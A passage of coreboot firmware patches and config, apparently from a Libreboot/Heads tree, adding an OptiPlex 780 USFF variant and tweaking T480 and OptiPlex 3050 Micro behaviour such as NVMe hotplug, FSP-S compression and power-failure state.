BOARD_DELL_OPTIPLEX_780_COMMON + + config VGA_BIOS_ID +@@ -30,11 +33,13 @@ config MAINBOARD_DIR + + config MAINBOARD_PART_NUMBER + default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT ++ default "OptiPlex 780 USFF" if BOARD_DELL_OPTIPLEX_780_USFF + + config OVERRIDE_DEVICETREE + default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" + + config VARIANT_DIR + default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT ++ default "780_usff" if BOARD_DELL_OPTIPLEX_780_USFF + + endif # BOARD_DELL_OPTIPLEX_780_COMMON +diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name +index db7f2e8fe3..bc84c82a79 100644 +--- a/src/mainboard/dell/optiplex_780/Kconfig.name ++++ b/src/mainboard/dell/optiplex_780/Kconfig.name +@@ -2,3 +2,6 @@ + + config BOARD_DELL_OPTIPLEX_780_MT + bool "OptiPlex 780 MT" ++ ++config BOARD_DELL_OPTIPLEX_780_USFF ++ bool "OptiPlex 780 USFF" +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..dbd764f285ed18f7ee9c54bc777560138bd9b5f7 +GIT binary patch +literal 1917 +zcmd6nO>7%Q6vzLwGv3{}j$^l`v7@w1q*9sEq+2(b3K>`@c5#TSx@iP+W+B10OwbsGtX=N(gc4jSGjKDkP+yIUo^nsel8$^ny^9H?td8Ra=EiCEn=G +z@6DV4?!2AdojnUv^Rirgvs$heXUkGs9S+{Jc2WPhP0buTak^BTFP@&N9-E$(UtuSX +zS{r`=b+EX|Ig`2a*^5oDdG>8jE-1BBxs`*jgrf_sj_fP;%L|PwURRcCFBMCroNRQv +zmp$2TUhc}qJMB(u#jDG@x6(N85thC4%Z=8hiN}lj&zb2~``u3C;?lCrPQOTnInFqB +zhvdwqWv?lxTb=fVEH;~RPHDPw&g*&|s$pU7!7x2mLBtAF!g>K`zPnkx!DpPHuk6{_zc*0qi7)Aet$T +z1ks@8hWS#+6cI5)j1oD86{5PX8Zu2(^OC6M`xo)V)Ow=U6P12c +z=U0uNC9T9v{)-|#h(mSX*hSA8)ZeocL7l4J&!{RSO{6~oTtyn535j!RQh#GA*wTF8 +zvasRbO~d!?*FbM3K`W?lHx=v*(jiARIhWyh4^io|;n?@1H>uqJy>0sjV-Dt)_=%bE +zgNO3D@uE5m+7aqi?Y8b+inye%Z=HUmgBtaZ3Lc%OLt+bo+)5BjVwT<{mxT`nde$vb +zV99s{>`r76L#Hr6XW6r|>HT47I`**Q#Vu0QW!^VP-9S{xXzpq_zS#9k-;aXz?b+S!Ne$Kkk6dq&Hj-x+kx1W-4#E&beDT*S)=&NoSE?<-w!G@~aW()0ZN4O&=Q+nZa)p%Vd$k-_$a= +T#w3FFBiyj ++ ++void mb_get_spd_map(u8 spd_map[4]) ++{ ++ spd_map[0] = 0x50; ++ spd_map[2] = 0x52; ++} +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c +new file mode 100644 +index 0000000000..389f4077d7 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c +@@ -0,0 +1,166 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++static const struct pch_gpio_set1 pch_gpio_set1_mode = { ++ .gpio0 = GPIO_MODE_NATIVE, ++ .gpio1 = GPIO_MODE_NATIVE, ++ .gpio2 = GPIO_MODE_GPIO, ++ .gpio3 = GPIO_MODE_GPIO, ++ .gpio4 = GPIO_MODE_GPIO, ++ .gpio5 = GPIO_MODE_GPIO, ++ .gpio6 = GPIO_MODE_GPIO, ++ .gpio7 = GPIO_MODE_NATIVE, ++ .gpio8 = GPIO_MODE_NATIVE, ++ .gpio9 = GPIO_MODE_GPIO, ++ .gpio10 = GPIO_MODE_GPIO, ++ .gpio11 = GPIO_MODE_NATIVE, ++ .gpio12 = GPIO_MODE_NATIVE, ++ .gpio13 = GPIO_MODE_GPIO, ++ .gpio14 = GPIO_MODE_GPIO, ++ .gpio15 = GPIO_MODE_NATIVE, ++ .gpio16 = GPIO_MODE_GPIO, ++ .gpio17 = GPIO_MODE_NATIVE, ++ .gpio18 = GPIO_MODE_GPIO, ++ .gpio19 = GPIO_MODE_GPIO, ++ .gpio20 = GPIO_MODE_GPIO, ++ .gpio21 = GPIO_MODE_GPIO, ++ .gpio22 = GPIO_MODE_GPIO, ++ .gpio23 = GPIO_MODE_NATIVE, ++ .gpio24 = GPIO_MODE_GPIO, ++ .gpio25 = GPIO_MODE_NATIVE, ++ .gpio26 = GPIO_MODE_NATIVE, ++ .gpio27 = GPIO_MODE_GPIO, ++ .gpio28 = GPIO_MODE_GPIO, ++ .gpio29 = GPIO_MODE_GPIO, ++ .gpio30 = GPIO_MODE_GPIO, ++ .gpio31 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_direction = { ++ .gpio2 = GPIO_DIR_INPUT, ++ .gpio3 = GPIO_DIR_INPUT, ++ .gpio4 = GPIO_DIR_INPUT, ++ .gpio5 = GPIO_DIR_INPUT, ++ .gpio6 = GPIO_DIR_INPUT, ++ .gpio9 = GPIO_DIR_OUTPUT, ++ .gpio10 = GPIO_DIR_INPUT, ++ .gpio13 = GPIO_DIR_INPUT, ++ .gpio14 = GPIO_DIR_INPUT, ++ .gpio16 = GPIO_DIR_INPUT, ++ .gpio18 = GPIO_DIR_OUTPUT, ++ .gpio19 = GPIO_DIR_INPUT, ++ .gpio20 = GPIO_DIR_OUTPUT, ++ .gpio21 = GPIO_DIR_INPUT, ++ .gpio22 = GPIO_DIR_INPUT, ++ .gpio24 = GPIO_DIR_INPUT, ++ .gpio27 = GPIO_DIR_INPUT, ++ .gpio28 = GPIO_DIR_OUTPUT, ++ .gpio29 = GPIO_DIR_INPUT, ++ .gpio30 = GPIO_DIR_INPUT, ++ .gpio31 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_level = { ++ .gpio9 = GPIO_LEVEL_HIGH, ++ .gpio18 = GPIO_LEVEL_HIGH, ++ .gpio20 = GPIO_LEVEL_HIGH, ++ .gpio28 = GPIO_LEVEL_HIGH, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_blink = { ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_invert = { ++ .gpio13 = GPIO_INVERT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_mode = { ++ .gpio32 = GPIO_MODE_GPIO, ++ .gpio33 = GPIO_MODE_GPIO, ++ .gpio34 = GPIO_MODE_GPIO, ++ .gpio35 = GPIO_MODE_GPIO, ++ .gpio36 = GPIO_MODE_GPIO, ++ .gpio37 = GPIO_MODE_GPIO, ++ .gpio38 = GPIO_MODE_GPIO, ++ .gpio39 = GPIO_MODE_GPIO, ++ .gpio40 = GPIO_MODE_NATIVE, ++ .gpio41 = GPIO_MODE_NATIVE, ++ .gpio42 = GPIO_MODE_NATIVE, ++ .gpio43 = GPIO_MODE_NATIVE, ++ .gpio44 = GPIO_MODE_NATIVE, ++ .gpio45 = GPIO_MODE_NATIVE, ++ .gpio46 = GPIO_MODE_NATIVE, ++ .gpio47 = GPIO_MODE_NATIVE, ++ .gpio48 = GPIO_MODE_GPIO, ++ .gpio49 = GPIO_MODE_GPIO, ++ .gpio50 = GPIO_MODE_NATIVE, ++ .gpio51 = GPIO_MODE_NATIVE, ++ .gpio52 = GPIO_MODE_NATIVE, ++ .gpio53 = GPIO_MODE_NATIVE, ++ .gpio54 = GPIO_MODE_GPIO, ++ .gpio55 = GPIO_MODE_NATIVE, ++ .gpio56 = GPIO_MODE_GPIO, ++ .gpio57 = GPIO_MODE_GPIO, ++ .gpio58 = GPIO_MODE_NATIVE, ++ .gpio59 = GPIO_MODE_NATIVE, ++ .gpio60 = GPIO_MODE_GPIO, ++ .gpio61 = GPIO_MODE_NATIVE, ++ .gpio62 = GPIO_MODE_NATIVE, ++ .gpio63 = GPIO_MODE_NATIVE, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_direction = { ++ .gpio32 = GPIO_DIR_INPUT, ++ .gpio33 = GPIO_DIR_INPUT, ++ .gpio34 = GPIO_DIR_INPUT, ++ .gpio35 = GPIO_DIR_OUTPUT, ++ .gpio36 = GPIO_DIR_INPUT, ++ .gpio37 = GPIO_DIR_INPUT, ++ .gpio38 = GPIO_DIR_INPUT, ++ .gpio39 = GPIO_DIR_INPUT, ++ .gpio48 = GPIO_DIR_INPUT, ++ .gpio49 = GPIO_DIR_OUTPUT, ++ .gpio54 = GPIO_DIR_INPUT, ++ .gpio56 = GPIO_DIR_OUTPUT, ++ .gpio57 = GPIO_DIR_INPUT, ++ .gpio60 = GPIO_DIR_OUTPUT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_level = { ++ .gpio35 = GPIO_LEVEL_LOW, ++ .gpio49 = GPIO_LEVEL_HIGH, ++ .gpio56 = GPIO_LEVEL_HIGH, ++ .gpio60 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_mode = { ++ .gpio72 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_direction = { ++ .gpio72 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_level = { ++}; ++ ++const struct pch_gpio_map mainboard_gpio_map = { ++ .set1 = { ++ .mode = &pch_gpio_set1_mode, ++ .direction = &pch_gpio_set1_direction, ++ .level = &pch_gpio_set1_level, ++ .blink = &pch_gpio_set1_blink, ++ .invert = &pch_gpio_set1_invert, ++ }, ++ .set2 = { ++ .mode = &pch_gpio_set2_mode, ++ .direction = &pch_gpio_set2_direction, ++ .level = &pch_gpio_set2_level, ++ }, ++ .set3 = { ++ .mode = &pch_gpio_set3_mode, ++ .direction = &pch_gpio_set3_direction, ++ .level = &pch_gpio_set3_level, ++ }, ++}; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c +new file mode 100644 +index 0000000000..c94e06b156 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-or-later */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ /* coreboot specific header */ ++ 0x11d4194a, /* Analog Devices AD1984A */ ++ 0x10280420, /* Subsystem ID */ ++ 10, /* Number of entries */ ++ ++ /* Pin Widget Verb Table */ ++ AZALIA_PIN_CFG(0, 0x11, 0x02214040), ++ AZALIA_PIN_CFG(0, 0x12, 0x01014010), ++ AZALIA_PIN_CFG(0, 0x13, 0x991301f0), ++ AZALIA_PIN_CFG(0, 0x14, 0x02a19020), ++ AZALIA_PIN_CFG(0, 0x15, 0x01813030), ++ AZALIA_PIN_CFG(0, 0x16, 0x413301f0), ++ AZALIA_PIN_CFG(0, 0x17, 0x41a601f0), ++ AZALIA_PIN_CFG(0, 0x1a, 0x41f301f0), ++ AZALIA_PIN_CFG(0, 0x1b, 0x414501f0), ++ AZALIA_PIN_CFG(0, 0x1c, 0x413301f0), ++}; ++ ++const u32 pc_beep_verbs[0] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb +new file mode 100644 +index 0000000000..555b1c1f5c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb +@@ -0,0 +1,10 @@ ++## SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device domain 0 on ++ chip southbridge/intel/i82801jx ++ device pci 1c.0 on end # PCIe 1 ++ device pci 1c.1 on end # PCIe 2 ++ end ++ end ++end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch new file mode 100644 index 000000000..daeb0fa19 --- /dev/null +++ b/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch @@ -0,0 +1,49 @@ +From c8192c52b2bfa93aeb6c6639476ca217e33c4313 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Wed, 11 Dec 2024 01:06:01 +0000 +Subject: [PATCH 08/11] dell/3050micro: disable nvme hotplug + +in my testing, when running my 3050micro for a few days, +the nvme would sometimes randomly rename. + +e.g. nvme0n1 renamed to nvme0n2 + +this might cause crashes in linux, if booting only from the +nvme. in my case, i was booting from mdraid (sata+nvme) and +every few days, the nvme would rename at least once, causing +my RAID to become unsynced. since i'm using RAID1, this was +OK and I could simply re-sync the array, but this is quite +precarious indeed. if you're using raid0, that will potentially +corrupt your RAID array indefinitely. + +this same issue manifested on the T480/T480 thinkpads, and +S3 resume would break because of that, when booting from nvme, +because the nvme would be "unplugged" and appear to linux as a +new device (the one that you booted from). + +the fix there was to disable hotplugging on that pci-e slot +for the nvme, so apply the same fix here for 3050 micro + +Signed-off-by: Leah Rowe +--- + src/mainboard/dell/optiplex_3050/devicetree.cb | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/src/mainboard/dell/optiplex_3050/devicetree.cb b/src/mainboard/dell/optiplex_3050/devicetree.cb +index 039709aa4a..0678ed1765 100644 +--- a/src/mainboard/dell/optiplex_3050/devicetree.cb ++++ b/src/mainboard/dell/optiplex_3050/devicetree.cb +@@ -45,7 +45,9 @@ chip soc/intel/skylake + register "PcieRpAdvancedErrorReporting[20]" = "1" + register "PcieRpLtrEnable[20]" = "1" + register "PcieRpClkSrcNumber[20]" = "3" +- register "PcieRpHotPlug[20]" = "1" ++# disable hotplug on nvme to prevent renaming e.g. nvme0n1 rename to nvme0n2, ++# which could cause crashes in linux if booting from nvme ++ register "PcieRpHotPlug[20]" = "0" + end + + # Realtek LAN +-- +2.39.5 + diff --git a/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch new file mode 100644 index 000000000..cd6cdb029 --- /dev/null +++ b/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch @@ -0,0 +1,78 @@ +From 35295d97b08ee659b6770ce39003732a4bdfb6a0 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Wed, 18 Dec 2024 02:06:18 +0000 +Subject: [PATCH 09/11] lenovo: Add Kconfig option CONFIG_LENOVO_TBFW_BIN + +This is used by lbmk to know where a tb.bin file goes, +when extracting and padding TBT.bin from Lenovo ThunderBolt +firmware updates on T480/T480s and other machines, grabbing +Lenovo update files. + +Not used in any builds, so it's not relevant for ./mk inject + +However, the ThunderBolt firmware is now auto-downloaded on +T480/T480s. This is not inserted, because it doesn't go in +the main flash, but the resulting ROM image can be flashed +on the TB controller's separate flash chip. + +Locations are as follows: + +vendorfiles/t480s/tb.bin +vendorfiles/t480/tb.bin + +This can be used for other affected ThinkPads when they're +added to Libreboot, but note that Lenovo provides different +TB firmware files for each machine. + +Since I assume it's the same TB controller on all of those +machines, I have to wonder: what difference is there between +the various TBT.bin files provided by Lenovo, and how do they +differ in terms of actual flashed configuration? + +We simply flash the padded TBT.bin when updating the firmware, +flashing externally. That's what this patch is for, so that +lbmk can auto-download them. + +Signed-off-by: Leah Rowe +--- + src/mainboard/lenovo/Kconfig | 26 ++++++++++++++++++++++++++ + 1 file changed, 26 insertions(+) + +diff --git a/src/mainboard/lenovo/Kconfig b/src/mainboard/lenovo/Kconfig +index 2ffbaab85f..512b326381 100644 +--- a/src/mainboard/lenovo/Kconfig ++++ b/src/mainboard/lenovo/Kconfig +@@ -18,4 +18,30 @@ config MAINBOARD_FAMILY + string + default MAINBOARD_PART_NUMBER + ++config LENOVO_TBFW_BIN ++ string "Lenovo ThunderBolt firmware bin file" ++ default "" ++ help ++ ThunderBolt firmware for certain ThinkPad models e.g. T480. ++ Not used in the actual build. Libreboot's build system uses this ++ along with config/vendor/*/pkg.cfg entries defining a URL to the ++ Lenovo download link and hash. The resulting file when processed by ++ lbmk can be flashed to the ThunderBolt firmware's 25XX NOR device. ++ Earlier versions of this firmware had debug commands enabled that ++ sent logs to said flash IC, and it would quickly fill up, bricking ++ the ThunderBolt controller. With these updates, flashed externally, ++ you can fix the issue if present or otherwise prevent it. The benefit ++ here is that you then don't need to use Windows or a boot disk. You ++ can flash the TB firmware while flashing Libreboot firmware. Easy! ++ Look for these variables in lbmk: ++ TBFW_url TBFW_url_bkup TBFW_hash and look at how it handles that and ++ CONFIG_LENOVO_TBFW_BIN, in lbmk's include/vendor.sh file. ++ The path set by CONFIG_LENOVO_TBFW_BIN is used by lbmk when extracting ++ the firmware, putting it at that desired location. In this way, lbmk ++ can auto-download such firmware. E.g. ./mk -d coreboot t480_fsp_16mb ++ and it appears at vendorfiles/t480/tb.bin fully padded and everything! ++ ++ Just leave this blank if you don't care about this option. It's not ++ useful for every ThinkPad, only certain models. ++ + endif # VENDOR_LENOVO +-- +2.39.5 + diff --git a/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch new file mode 100644 index 000000000..228170eb5 --- /dev/null +++ b/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch @@ -0,0 +1,36 @@ +From f08dbaacf747eb198bbc8f83e0220ca803f19116 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Thu, 26 Dec 2024 19:45:20 +0000 +Subject: [PATCH 10/11] soc/intel/skylake: Don't compress FSP-S + +Build systems like lbmk need to reproducibly insert +certain vendor files on release images. + +Compression isn't always reproducible, and making it +so costs a lot more time than simply disabling compression. + +With this change, the FSP-S module will now be inserted +without compression, which means that there will now be +about 40KB of extra space used in the flash. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/skylake/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index c24df2ef75..8e25f796ed 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -12,7 +12,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE + select CPU_SUPPORTS_PM_TIMER_EMULATION + select DRIVERS_USB_ACPI + select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 +- select FSP_COMPRESS_FSP_S_LZ4 ++# select FSP_COMPRESS_FSP_S_LZ4 + select FSP_M_XIP + select GENERIC_GPIO_LIB + select HAVE_FSP_GOP +-- +2.39.5 + diff --git a/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch new file mode 100644 index 000000000..7dae2d6ad --- /dev/null +++ b/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch @@ -0,0 +1,82 @@ +From 12ff6e798d1cefc5b888e6035e52bf6d70c9ca47 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Tue, 31 Dec 2024 01:40:42 +0000 +Subject: [PATCH 11/11] soc/intel/pmc: Hardcoded poweroff after power fail + +Coreboot can set the power state for power on after previous +power failure, based on the option table. On the ThinkPad T480, +we have no nvram and, due to coreboot's design, we therefore +have no option table, so the default setting is enabled. + +In my testing, this seems to be that the system will turn on +after a power failure. If your ThinkPad was previously in a state +where it wouldn't turn on when plugging in the power, it'd be fine. + +If your battery ran out later on, this would be triggered and +your ThinkPad would permanently turn on, when plugging in a charger, +and there is currently no way to configure this behaviour. + +We currently only use the common SoC PMC code on the ThinkPad +T480, T480s and the Dell OptiPlex 3050 Micro, at the time of +this patch, and it is desirable that the system be set to power +off after power fail anyway. + +In some cases, you might want the opposite, for example if you're +running a server. This will be documented on the website, for that +reason. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/common/block/pmc/pmclib.c | 36 +++---------------------- + 1 file changed, 4 insertions(+), 32 deletions(-) + +diff --git a/src/soc/intel/common/block/pmc/pmclib.c b/src/soc/intel/common/block/pmc/pmclib.c +index 0fadd6e409..843581b285 100644 +--- a/src/soc/intel/common/block/pmc/pmclib.c ++++ b/src/soc/intel/common/block/pmc/pmclib.c +@@ -760,38 +760,10 @@ void pmc_clear_pmcon_sts(void) + + void pmc_set_power_failure_state(const bool target_on) + { +- const unsigned int state = get_uint_option("power_on_after_fail", +- CONFIG_MAINBOARD_POWER_FAILURE_STATE); +- +- /* +- * On the shutdown path (target_on == false), we only need to +- * update the register for MAINBOARD_POWER_STATE_PREVIOUS. For +- * all other cases, we don't write the register to avoid clob- +- * bering the value set on the boot path. This is necessary, +- * for instance, when we can't access the option backend in SMM. +- */ +- +- switch (state) { +- case MAINBOARD_POWER_STATE_OFF: +- if (!target_on) +- break; +- printk(BIOS_INFO, "Set power off after power failure.\n"); +- pmc_soc_set_afterg3_en(false); +- break; +- case MAINBOARD_POWER_STATE_ON: +- if (!target_on) +- break; +- printk(BIOS_INFO, "Set power on after power failure.\n"); +- pmc_soc_set_afterg3_en(true); +- break; +- case MAINBOARD_POWER_STATE_PREVIOUS: +- printk(BIOS_INFO, "Keep power state after power failure.\n"); +- pmc_soc_set_afterg3_en(target_on); +- break; +- default: +- printk(BIOS_WARNING, "Unknown power-failure state: %d\n", state); +- break; +- } ++ if (!target_on) ++ return; ++ printk(BIOS_INFO, "Set power off after power failure.\n"); ++ pmc_soc_set_afterg3_en(false); + } + + /* This function returns the highest assertion duration of the SLP_Sx assertion widths */ +-- +2.39.5 + diff --git a/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch new file mode 100644 index 000000000..5e4e6edb3 --- /dev/null +++ b/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch @@ -0,0 +1,32 @@ +From 916c7b027faba625b922e74e45e50f9ceab64a64 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 01:16:01 +0000 +Subject: [PATCH 1/1] ec/dasharo: Comment EC_DASHARO_EC_FLASH_SIZE + +We don't use anything dasharo in Libreboot. + +This patch prevents the following config item appearing +in T480 and 3050 Micro configs: + +CONFIG_EC_DASHARO_EC_FLASH_SIZE=0x20000 + +Otherwise, make-oldconfig adds it automatically. + +Signed-off-by: Leah Rowe +--- + src/ec/dasharo/ec/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/ec/dasharo/ec/Kconfig b/src/ec/dasharo/ec/Kconfig +index 901d3ce514..071e37f95e 100644 +--- a/src/ec/dasharo/ec/Kconfig ++++ b/src/ec/dasharo/ec/Kconfig +@@ -28,4 +28,4 @@ config EC_DASHARO_EC_UPDATE_FILE + + config EC_DASHARO_EC_FLASH_SIZE + hex +- default 0x20000 ++ # default 0x20000 +-- +2.39.5 + diff --git a/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch new file mode 100644 index 000000000..843700894 --- /dev/null +++ b/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch @@ -0,0 +1,61 @@ +From 00b6459a9b360b16529036d9b1e10c977228a7ff Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 01:36:23 +0000 +Subject: [PATCH 1/1] src/intel/skylake: Disable stack overflow debug options + +The option was appearing in T480/3050micro configs of lbmk, +after updating on the coreboot/next uprev for 20241206 rev8: + +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y + +I did some digging. See coreboot commit: + +commit 51cc2bacb6b07279b97e9934d079060475481fb6 +Author: Subrata Banik +Date: Fri Dec 13 13:07:28 2024 +0530 + + soc/intel/pantherlake: Disable stack overflow debug options + +Well now: + +I'm disabling this behaviour on Skylake, for the same +behaviour, because I want as few behaviour changes in general, +as possible, for the rev8 release. + +According to Subrata's patch, which was for Pantherlake, +without this change, stack corruption can occur on verstage +and romstage early on. Please look at that coreboot patch, +referenced above, for clarity. + +I see no harm in disabling this option for Skylake, since +the behaviour that it otherwise enables was not present +before. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/skylake/Kconfig | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index 8e25f796ed..7d324e15ea 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -130,6 +130,15 @@ config DCACHE_RAM_SIZE + The size of the cache-as-ram region required during bootblock + and/or romstage. + ++# Override DEBUG Kconfig to avoid false alarm about stack overflow. ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS ++ bool ++ default n ++ ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS_IN_ALL_STAGES ++ bool ++ default n ++ + config DCACHE_BSP_STACK_SIZE + hex + default 0x20400 if FSP_USES_CB_STACK +-- +2.39.5 + diff --git a/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch new file mode 100644 index 000000000..e2eae2a93 --- /dev/null +++ b/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch @@ -0,0 +1,33 @@ +From 5671d54d347b110ffade5b8b6e2d052612a8716c Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 01:53:53 +0000 +Subject: [PATCH 1/1] src/intel/x4x: Disable stack overflow debug + +Signed-off-by: Leah Rowe +--- + src/northbridge/intel/x4x/Kconfig | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/src/northbridge/intel/x4x/Kconfig b/src/northbridge/intel/x4x/Kconfig +index 097e11126c..7e4e14cf94 100644 +--- a/src/northbridge/intel/x4x/Kconfig ++++ b/src/northbridge/intel/x4x/Kconfig +@@ -28,6 +28,15 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 256 + ++# Override DEBUG Kconfig to avoid false alarm about stack overflow. ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS ++ bool ++ default n ++ ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS_IN_ALL_STAGES ++ bool ++ default n ++ + # This number must be equal or lower than what's reported in ACPI PCI _CRS + config DOMAIN_RESOURCE_32BIT_LIMIT + default 0xfec00000 +-- +2.39.5 + From b101d312ef3e9c824df2f04f62a1578cc5d3f739 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Tue, 4 Feb 2025 11:21:36 +0100 Subject: [PATCH 03/50] Add coreboot config for T480 Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 895 ++++++++++++++++++++++++++++++++++++ 1 file changed, 895 insertions(+) create mode 100644 config/coreboot-t480.config diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config new file mode 100644 index 000000000..8f61a2b08 --- /dev/null +++ b/config/coreboot-t480.config @@ -0,0 +1,895 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ANY_TOOLCHAIN=y +# CONFIG_CCACHE is not set +# CONFIG_LTO is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# 